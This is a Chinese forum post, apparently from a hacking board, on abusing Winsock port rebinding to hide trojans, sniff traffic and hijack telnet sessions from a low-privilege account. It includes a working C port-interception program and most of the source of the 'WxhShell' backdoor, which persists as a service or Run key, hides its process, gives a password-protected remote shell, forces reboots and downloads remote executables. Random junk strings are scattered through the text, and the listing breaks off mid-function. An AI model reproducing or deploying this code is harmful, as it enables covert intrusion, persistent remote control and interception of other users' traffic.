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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: FpCj$y~3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Xy=|qu  
rsy'ZVLUj  
  saddr.sin_family = AF_INET; n"d~UV^Uw  
NTls64AS.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?cowey\m .  
N{ ;{<C9Z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y |n_Ro^~  
1,9RfYV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Y Q3%vH5#y  
HFvhrG  
  这意味着什么?意味着可以进行如下的攻击: 86.!s Q8b  
D("['`{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 FHqa|4Ie  
'+Ts IJh  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) pA"pt~6  
rh/3N8[6  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XNd:x {  
%nVnK6[sox  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |]Pigi7y-  
#li;L  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ^FF{71;  
jZe]zdml  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 1K4LEg a`  
QWxCNt:^?  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cSoZq4  
xL=g(FN(6L  
  #include SQWA{f  
  #include "n:L<F,g  
  #include ]oXd|[ G  
  #include    Y -7x**I  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Dbz\8gmY  
  int main() UFC.!t-Z  
  { $1#|<|  
  WORD wVersionRequested; nS]/=xP{  
  DWORD ret; !V7VM_}@Y  
  WSADATA wsaData; yEzp+Ky  
  BOOL val; Ed.~9*m  
  SOCKADDR_IN saddr; =KMd! $J\  
  SOCKADDR_IN scaddr; JwxI8Pi*y  
  int err; eW0:&*.vMj  
  SOCKET s; 2m/1:5  
  SOCKET sc; |#f P8OK  
  int caddsize; Z:)\j.  
  HANDLE mt; 7Ja^d-F7  
  DWORD tid;   ~u/Enl7\-  
  wVersionRequested = MAKEWORD( 2, 2 ); jKM-(s!(  
  err = WSAStartup( wVersionRequested, &wsaData ); VDCrFZ!]  
  if ( err != 0 ) { _f{'&YhUU  
  printf("error!WSAStartup failed!\n"); GDZe6*  
  return -1; ]J?5qR:xCy  
  } (~zdS.  
  saddr.sin_family = AF_INET; (gs"2  
   gP^'4>Jr  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >x (^g~i  
mzfj!0zR*  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); |o|0qG@g  
  saddr.sin_port = htons(23); ,r:. 3.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ([`-*Hy  
  { W5EB+b49KM  
  printf("error!socket failed!\n"); 3,S5>~R=  
  return -1; `{ou4H\  
  } \[ +ZKj:  
  val = TRUE; #oJ9BgDry  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 akrEZ7A  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) N;;!ObVHnP  
  { Z!^iPB0~D  
  printf("error!setsockopt failed!\n"); bmzs!fg_~R  
  return -1; ~KHp~Xs`  
  } J[RQF54qA{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; WVf;uob{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @;JT }R H-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 !N?|[n1  
`b# w3 2  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P=(\3ok  
  { SI8mr`gJ  
  ret=GetLastError(); hdfNXZ{A"  
  printf("error!bind failed!\n"); D@7\Fg  
  return -1; @1^iWM j  
  } gy_n=jhi+  
  listen(s,2); 52{jq18&  
  while(1) /$/\$f$  
  { OB;AgE@  
  caddsize = sizeof(scaddr); LtXFGPQf  
  //接受连接请求 V~NS<!+q  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [;h@ q}  
  if(sc!=INVALID_SOCKET) q}1AV7$Ai  
  { i *nNu-g  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); !NZFo S~  
  if(mt==NULL) m:ITyQ+  
  { z*I=  
  printf("Thread Creat Failed!\n"); r#d~($[93  
  break; \6 2|w HX  
  } OI::0KOv  
  } "e@JMS  
  CloseHandle(mt); C(xdiQJh  
  } Qm^N}>e  
  closesocket(s); ERCW5b[RT  
  WSACleanup(); n)^B0DnIk  
  return 0; li$(oA2  
  }   G'#a&6  
  DWORD WINAPI ClientThread(LPVOID lpParam) CQ"5bnR  
  { ,^`+mP  
  SOCKET ss = (SOCKET)lpParam; =cX &H  
  SOCKET sc; {UvZ  
  unsigned char buf[4096]; !E4YUEY 6  
  SOCKADDR_IN saddr; 7:9WiN5b  
  long num; "qMd%RP  
  DWORD val; yLipuMNV  
  DWORD ret; $l7 <j_C  
  //如果是隐藏端口应用的话,可以在此处加一些判断 AL3zE=BL  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {[NBTT9&  
  saddr.sin_family = AF_INET; pR; AqDQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s@K|zOx  
  saddr.sin_port = htons(23); G%Wjtrpj  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OqHD=D[  
  { {6 C!^ 5  
  printf("error!socket failed!\n"); _LCK|H%v'  
  return -1; GbBcC#0  
  } w)5eD+n\-  
  val = 100; &,3.V+Sz  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) A@f`g[q  
  { xCiY jl$  
  ret = GetLastError(); rcY[jF  
  return -1; [8l8 m6  
  } W7_X=>l  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #L` @["  
  { O F2*zU7M  
  ret = GetLastError(); @'7'3+ c  
  return -1; !%_}Rv!JT  
  } qI5_@[S*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 3tA6r  
  { ZdY:I;)s  
  printf("error!socket connect failed!\n"); 0\k2F,:%4  
  closesocket(sc); "!+q0l1]@  
  closesocket(ss); p*8=($j4  
  return -1; ,_F1g<^@u  
  } -'*B%yy  
  while(1) N0vr>e`  
  { K*d+pImrV  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \L<Hy)l  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Pz:,q~  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 LW{7|g  
  num = recv(ss,buf,4096,0); "6FZX~]s!  
  if(num>0) Kn?>XXAc  
  send(sc,buf,num,0); oDrfzm|[Y  
  else if(num==0) S)>L 0^M1  
  break; ;mjk`6p  
  num = recv(sc,buf,4096,0); [K9l>O  
  if(num>0) LeF Z%y)F  
  send(ss,buf,num,0); /hQTV!\u  
  else if(num==0) 0h _9  
  break; T oTehVw  
  } L(fOe3 v  
  closesocket(ss); g\,pZ]0i  
  closesocket(sc); >h(n8wTP  
  return 0 ; MRV4D<NQ  
  } L 1H!o!*  
pW2NrBq@w  
b>er'U  
========================================================== U_K"JOZ  
xVf AlN37(  
下边附上一个代码,,WXhSHELL )R(kXz=M  
wzwEYZN(q  
========================================================== W_Z%CBjcT  
@ 4#q  
#include "stdafx.h" 0r*E$|zZ  
onI%Jl sq  
#include <stdio.h> iV58 m  
#include <string.h> ; $i{>mDT  
#include <windows.h> )+OI}  
#include <winsock2.h> +C' u!^ )  
#include <winsvc.h> Hbn%CdDk1  
#include <urlmon.h> "jb`KBH%"  
M%92 ^;|`  
#pragma comment (lib, "Ws2_32.lib") (y *7 g f  
#pragma comment (lib, "urlmon.lib") aY@]mMz\  
EZ:pcnL {  
#define MAX_USER   100 // 最大客户端连接数 ? %XTD39  
#define BUF_SOCK   200 // sock buffer 3CL/9C>  
#define KEY_BUFF   255 // 输入 buffer C& BRyo  
`*g(_EZsS  
#define REBOOT     0   // 重启 a\pOgIp  
#define SHUTDOWN   1   // 关机 'y[74?1  
($pNOG H  
#define DEF_PORT   5000 // 监听端口 ;|}N\[fk%]  
?x1sm"]p'  
#define REG_LEN     16   // 注册表键长度 _~/F-  
#define SVC_LEN     80   // NT服务名长度 SR!EQ<  
_2xNio&  
// 从dll定义API LmWZ43Z"@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Kkcb' aDR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m!Cvd9X=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2FU+o\1 %  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 1LYz X;H1  
t(AW2{%}  
// wxhshell配置信息 4'upbI  
struct WSCFG { lR5[UKr  
  int ws_port;         // 监听端口 X6)%2TwO  
  char ws_passstr[REG_LEN]; // 口令 U6cpj  
  int ws_autoins;       // 安装标记, 1=yes 0=no 6?$yBu9l  
  char ws_regname[REG_LEN]; // 注册表键名 UTB]svC'  
  char ws_svcname[REG_LEN]; // 服务名 9: N[9;('  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 xvw @'|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 q!iTDg*$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {RH&mu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no o@:${> jw  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Heh.CD)Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xY4g2Q J  
@+Y ql  
}; gR1vUad7  
,.DTJ7H+  
// default Wxhshell configuration E:vgG|??  
struct WSCFG wscfg={DEF_PORT, )Q= EmZbJz  
    "xuhuanlingzhe", [$M=+YRHMW  
    1, K)b@,/5  
    "Wxhshell", !ij R  
    "Wxhshell", 0Xo>f"2<f  
            "WxhShell Service", ;E:vsVK  
    "Wrsky Windows CmdShell Service", &n$kVNE  
    "Please Input Your Password: ", /5:2g# S4  
  1, epN> ;e z  
  "http://www.wrsky.com/wxhshell.exe", !iv6k~.e'2  
  "Wxhshell.exe" _|+}4 ap  
    }; /Js A[}.6  
v z6No%8X  
// 消息定义模块 2iM]t&^<+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K|L&mL&8  
char *msg_ws_prompt="\n\r? for help\n\r#>"; vT@*o=I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;>hRj!  
char *msg_ws_ext="\n\rExit."; corNw+|/w  
char *msg_ws_end="\n\rQuit."; c"KN;9c,  
char *msg_ws_boot="\n\rReboot..."; Db4(E*/pj!  
char *msg_ws_poff="\n\rShutdown..."; {=K);z  
char *msg_ws_down="\n\rSave to "; zVt1Ta:j  
lCafsIB  
char *msg_ws_err="\n\rErr!"; X* 4C?v  
char *msg_ws_ok="\n\rOK!"; I+2#k\y  
xmVW6 ,<?  
char ExeFile[MAX_PATH]; H=lzW_(  
int nUser = 0; ?vt#M^Q   
HANDLE handles[MAX_USER]; aa2 vk)~  
int OsIsNt; =&T%Jm}  
d?:KEi-<7  
SERVICE_STATUS       serviceStatus; M>qqe!c*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; La>fvm  
CWBlDz  
// 函数声明 .A6D&-&z  
int Install(void); >0F)^W?  
int Uninstall(void); HuT4OGBFpC  
int DownloadFile(char *sURL, SOCKET wsh); .*}!XKp0j  
int Boot(int flag); hgg 8r#4q  
void HideProc(void); '/="bSF  
int GetOsVer(void); H!'Ek[s+  
int Wxhshell(SOCKET wsl); m^!Kthq  
void TalkWithClient(void *cs); TWSqn'<E  
int CmdShell(SOCKET sock); '4KN  
int StartFromService(void); 5ENU}0W  
int StartWxhshell(LPSTR lpCmdLine); jOUM+QO  
1.0:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); a = *'  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); bG)EZ  
o$QC:%[#  
// 数据结构和表定义 A"tE~m;"7  
SERVICE_TABLE_ENTRY DispatchTable[] = o5B]?ekpq  
{ 'VpzB s#  
{wscfg.ws_svcname, NTServiceMain}, ]l7rM"  
{NULL, NULL} ~nJ"#Q_T  
}; %1mIngW=g  
(H^)wDb  
// 自我安装 ayYl3  
int Install(void) aT4I sPA?_  
{ uG7?:) pxv  
  char svExeFile[MAX_PATH]; vpq"mpfkh  
  HKEY key; _-|/$ jZ  
  strcpy(svExeFile,ExeFile); _u3%16,o  
Rp+Lu  
// 如果是win9x系统,修改注册表设为自启动 ?;]Xc~  
if(!OsIsNt) { _Z>n y&   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q2 b>Z6!5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8vkCmV  
  RegCloseKey(key); >,x&L[3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'yo-`nNFD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $^e(?P q  
  RegCloseKey(key); 4A`U [r_>D  
  return 0; P5KpFL`B  
    } 3xk- D &"  
  } Spu> ac  
} CJjT-(a  
else { A^c  (  
(`&SV$m  
// 如果是NT以上系统,安装为系统服务 hG~HV{6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *Sg6VGP  
if (schSCManager!=0) ){LU>MW{&  
{ HvR5-?qQ  
  SC_HANDLE schService = CreateService QE|x[?7e,!  
  ( (gRTSd T ?  
  schSCManager, mEmgr(W  
  wscfg.ws_svcname, o2D;EUsNX  
  wscfg.ws_svcdisp, ,|g&v/WlC%  
  SERVICE_ALL_ACCESS, )[ QT ?;  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?8qN8rk^+  
  SERVICE_AUTO_START, %Rt 5$+dNT  
  SERVICE_ERROR_NORMAL, Nwj M=GG  
  svExeFile, u4tv= +jh  
  NULL, b@S~ =  
  NULL, 7{tU'`P>  
  NULL, wg+[T;0S  
  NULL, j #~ S"t  
  NULL ov<vSc<u  
  ); O7]kcA  
  if (schService!=0) nx(jYXVT  
  { T[evh]koB  
  CloseServiceHandle(schService); H|S hi/  
  CloseServiceHandle(schSCManager); }uwZS=pw  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3*T/ 7\  
  strcat(svExeFile,wscfg.ws_svcname); C|V5@O?;&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g"~`\ xhx  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); EQe$~}[  
  RegCloseKey(key); Sd F+b+P]  
  return 0; d\R "?Sg  
    } 1#3eY? Nb  
  } K]1| #`n  
  CloseServiceHandle(schSCManager); b")O#v.  
} Z;z,dw  
} #@' B\!<@=  
JXjH}C  
return 1; ^RE[5h6^q  
} L&KL]n  
O=eU38n:5u  
// 自我卸载 Kum" }ux  
int Uninstall(void) ^M1jv(  
{ *k,{[b  
  HKEY key; t7yvd7  
Py?e+[cN  
if(!OsIsNt) { |{ =Jp<} s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I s|_  
  RegDeleteValue(key,wscfg.ws_regname); E9b>wP  
  RegCloseKey(key); 1+"d-`'Z2O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qpQiMiB#g'  
  RegDeleteValue(key,wscfg.ws_regname); X(O:y^sX}  
  RegCloseKey(key); .}GOHW)}  
  return 0; *0vRVlYf  
  } IB$i ^  
} 7^V`B^Vu  
} DR @yd,  
else { D9H%jDv  
DJ0jtv6nQ-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); rmi&{o:  
if (schSCManager!=0) R_9M-RP6*  
{ ] *U+nG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #)m [R5g(  
  if (schService!=0) 62kA(F 0e,  
  { XTA:Y7"O  
  if(DeleteService(schService)!=0) {  #]QS   
  CloseServiceHandle(schService); V*r/0|vd  
  CloseServiceHandle(schSCManager); }+}Cl T  
  return 0; Ga+Cb2$  
  } sOVpDtZ]LR  
  CloseServiceHandle(schService); ;s#I b_  
  } i1X!G|Awfv  
  CloseServiceHandle(schSCManager); L8f_^ *,  
} D-D8La?0p  
} ]yQqx*  
tSY4'  
return 1; \vx'+}  
} P^ht$)Y  
I]HLWF  
// 从指定url下载文件 7Le- f  
int DownloadFile(char *sURL, SOCKET wsh) P8#_E{f  
{ \[|X^8j  
  HRESULT hr; %__ @G_M  
char seps[]= "/"; x?]fHin_  
char *token; ul b0B"  
char *file; mM L B?I  
char myURL[MAX_PATH]; @=}NMoNH  
char myFILE[MAX_PATH]; w#_7,*6]  
qY!LzKM0  
strcpy(myURL,sURL); W4qnXD1n  
  token=strtok(myURL,seps); ^$mCF%e8H  
  while(token!=NULL) 4`'Rm/)  
  { dKP| TRd  
    file=token; EuA352x  
  token=strtok(NULL,seps); ?9 W2ax-4  
  } eoFG$X/PO  
dNCd-ep  
GetCurrentDirectory(MAX_PATH,myFILE); 's5H_ah  
strcat(myFILE, "\\"); K47.zu  
strcat(myFILE, file); ,<C~DSAyZ  
  send(wsh,myFILE,strlen(myFILE),0); [vz2< genn  
send(wsh,"...",3,0); ?)[=>Kp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Sj:c {jyJd  
  if(hr==S_OK) GY5JPl  
return 0; xOr"3;^  
else O>I%O^  
return 1; +3M1^:  
?v-!`J>EF#  
} 1FG"Ak}D  
 $C,` ^n'  
// 系统电源模块 \rT>&o .i  
int Boot(int flag) c,]fw2  
{ s0CDp"uJY  
  HANDLE hToken; Z%b1B<u$  
  TOKEN_PRIVILEGES tkp; ]ncK M?'O  
U6o]7j&6  
  if(OsIsNt) { 1vAJ(O{-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); + rM]RFi  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +6~zMKp  
    tkp.PrivilegeCount = 1; }A[5\V^D*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; K{9Vyt9,$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >L8 & 6aU  
if(flag==REBOOT) { N/b$S@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~eS/gF?  
  return 0; k nzo6  
} tkff\W[JU  
else { &h.?~Ri  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]zj&U#{  
  return 0; FW)~e*@8=  
} KU Mk:5 c  
  } M$Rh]3vqR  
  else { L^PBcfg  
if(flag==REBOOT) { a1ps'^Qhh  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 6OJhF7\0&  
  return 0; XWX]/j2jA  
} DwK$c^2q{.  
else { B/mfm 7  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) D(Q]ddUi'  
  return 0; naA8RD5/  
} sO!m,pK(  
} |9BX  ~`{  
c>T)Rc  
return 1; LF)wn -C}  
} 0bD\`Jiv,  
] yWywa\  
// win9x进程隐藏模块 D{q r N6g#  
void HideProc(void) Z N&9qw*  
{ (dx~lMI  
e2>AL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x8C *  
  if ( hKernel != NULL ) _KBa`lhE  
  { \/nSRAk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -G'3&L4 D  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -i_XP]b&  
    FreeLibrary(hKernel); b/\l\\$-  
  } 3<[q>7X  
}AiF 7N0  
return; 'geN  dx  
} / %F,  
c+O:n:L  
// 获取操作系统版本 I]pz3!On4,  
int GetOsVer(void) |Ho} D~  
{ &' y}L'  
  OSVERSIONINFO winfo; B?e] Ht  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r%>7n,+o  
  GetVersionEx(&winfo); OHnsfXO_V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) glkH??S  
  return 1; 7j(gW  
  else 8wEJyAu2  
  return 0; PCa0I^d  
} K$s{e0 79  
SLH;iqPT  
// 客户端句柄模块 83aWMmA(1  
int Wxhshell(SOCKET wsl) rd24R-6  
{ 8o).q}>&  
  SOCKET wsh; <K>qK]|C  
  struct sockaddr_in client; m,6[;  
  DWORD myID; fEt BodA)  
T{N8 K K  
  while(nUser<MAX_USER) _Kh8 <$h  
{ mtw{7 E  
  int nSize=sizeof(client); IJ:JH=8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V@EyU/VJ  
  if(wsh==INVALID_SOCKET) return 1; 5yj6MaqJ  
.ezZ+@LI+#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _fHj8- s/  
if(handles[nUser]==0) ;E!] /oY<  
  closesocket(wsh); YM.  
else G c ,  
  nUser++;  aN6HO  
  } :o~ ]d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); SP>&+5AydX  
C}pQFL{B5  
  return 0; 2r]o>X  
} Ysw&J}6e  
sv#b5,>9  
// 关闭 socket s"2+H}u   
void CloseIt(SOCKET wsh) WY5HmNX3E  
{ i'1 MZ%.  
closesocket(wsh); TQ%F\@"  
nUser--; %ZDO0P !/  
ExitThread(0); ~~m(CJ4S  
} =8"xQ>D62  
r029E-  
// 客户端请求句柄 ^7t1'A8e<  
void TalkWithClient(void *cs) */|<5X;xIA  
{ d7:=axo,  
'TA !JB+  
  SOCKET wsh=(SOCKET)cs; pTncx%!W5  
  char pwd[SVC_LEN]; 6 .[3N~pq  
  char cmd[KEY_BUFF]; ;hEeFJ=/G  
char chr[1]; 1F+JyZK}w  
int i,j; YTr+"\CkA  
am7~  
  while (nUser < MAX_USER) { 4AF.KX7  
`joyHKZI.  
if(wscfg.ws_passstr) { ,s:viXk  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _NpxV'E  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U8,pe;/ln`  
  //ZeroMemory(pwd,KEY_BUFF); N&|,!Cu  
      i=0; gr# |ZK.`  
  while(i<SVC_LEN) { s3K!~v\L]  
;0uiO.  
  // 设置超时 8kE3\#);\  
  fd_set FdRead; l?Ibq}[~  
  struct timeval TimeOut; .S* sGauM  
  FD_ZERO(&FdRead); C9,Uwz<!]  
  FD_SET(wsh,&FdRead); T#[#w*w/  
  TimeOut.tv_sec=8; R D?52\  
  TimeOut.tv_usec=0; PY&mLux%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); m3&b)O7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,"YTG*ky  
9kbczL^Y  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6fC Hd10!  
  pwd=chr[0]; }'n]C|gZ  
  if(chr[0]==0xd || chr[0]==0xa) { 2R;#XmKS  
  pwd=0; ["<'fq;PJ  
  break; 9w=[}<E  
  } k]2_vk^  
  i++; MN:LL <  
    } E Q:6R|L  
|=V~CQ]  
  // 如果是非法用户,关闭 socket y'non0P.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >Pvz5Hf/wW  
} ;krIuk-  
h R6Pj"@0  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &VG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iqN?'8  
^ohIJcI-  
while(1) { ksUF(lYk  
Q^* 3 3  
  ZeroMemory(cmd,KEY_BUFF); .>LJ(Sx9b  
Z'|k M!  
      // 自动支持客户端 telnet标准   dfZ`M^NU  
  j=0; bL+}n8B  
  while(j<KEY_BUFF) { Q\btl/?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wr'1Y7z  
  cmd[j]=chr[0]; tZu1jBO_Q4  
  if(chr[0]==0xa || chr[0]==0xd) { i)$<j!L  
  cmd[j]=0; Wv ~&Qh}  
  break; x@[6u  
  } k~, k@mR  
  j++; ,ne3uPRu7~  
    } ,lFp4 C  
m1xR uj]  
  // 下载文件 'u d[#@2  
  if(strstr(cmd,"http://")) { #Jr4LQ@A9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); O{Z${TC[  
  if(DownloadFile(cmd,wsh)) ;82?ACCP  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0sB[]E|7[s  
  else a|4Q6Ycu  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sk AF6n  
  } 62K#rR S  
  else { bfy=  
!/=.~B  
    switch(cmd[0]) { zJ@^Bw;A^@  
  ntW1 )H'o  
  // 帮助 S,Tc\}  
  case '?': { Aq\K N.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ch:EL-L  
    break; nlaW$b{=  
  } P]armg%  
  // 安装 t+{vb S0  
  case 'i': { '|<S`,'#hg  
    if(Install()) &:1q3 gDm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); usC$NVdm  
    else '}"&JO~vPj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S0}=uL#dt  
    break; wN :"(mQ  
    } xn,9Wj-  
  // 卸载 8DM! ]L  
  case 'r': { ?nq%'<^^  
    if(Uninstall()) @[Q`k=h$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ydAiH*>  
    else `PSjk F(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Xg* ](>/\,  
    break; aPQxpK?  
    } qv'w 7T  
  // 显示 wxhshell 所在路径 [+!&iN  
  case 'p': { E>`|?DE@  
    char svExeFile[MAX_PATH]; j0s$}FPUI  
    strcpy(svExeFile,"\n\r"); o^m?w0 \  
      strcat(svExeFile,ExeFile); 5G$5d:[(  
        send(wsh,svExeFile,strlen(svExeFile),0); !e*T. 1Kz  
    break; 5HIQw9g6  
    } FYK`.>L28  
  // 重启 i83[':  
  case 'b': { Q|e-)FS)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 90K&oof?M  
    if(Boot(REBOOT)) UM<s#t`\3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^)(tO$S  
    else { ? Dn}  
    closesocket(wsh); l@ (:Q!Sk  
    ExitThread(0); TwI'XMO;A  
    }  qI${7  
    break; JYv<QsD  
    } PTqia!  
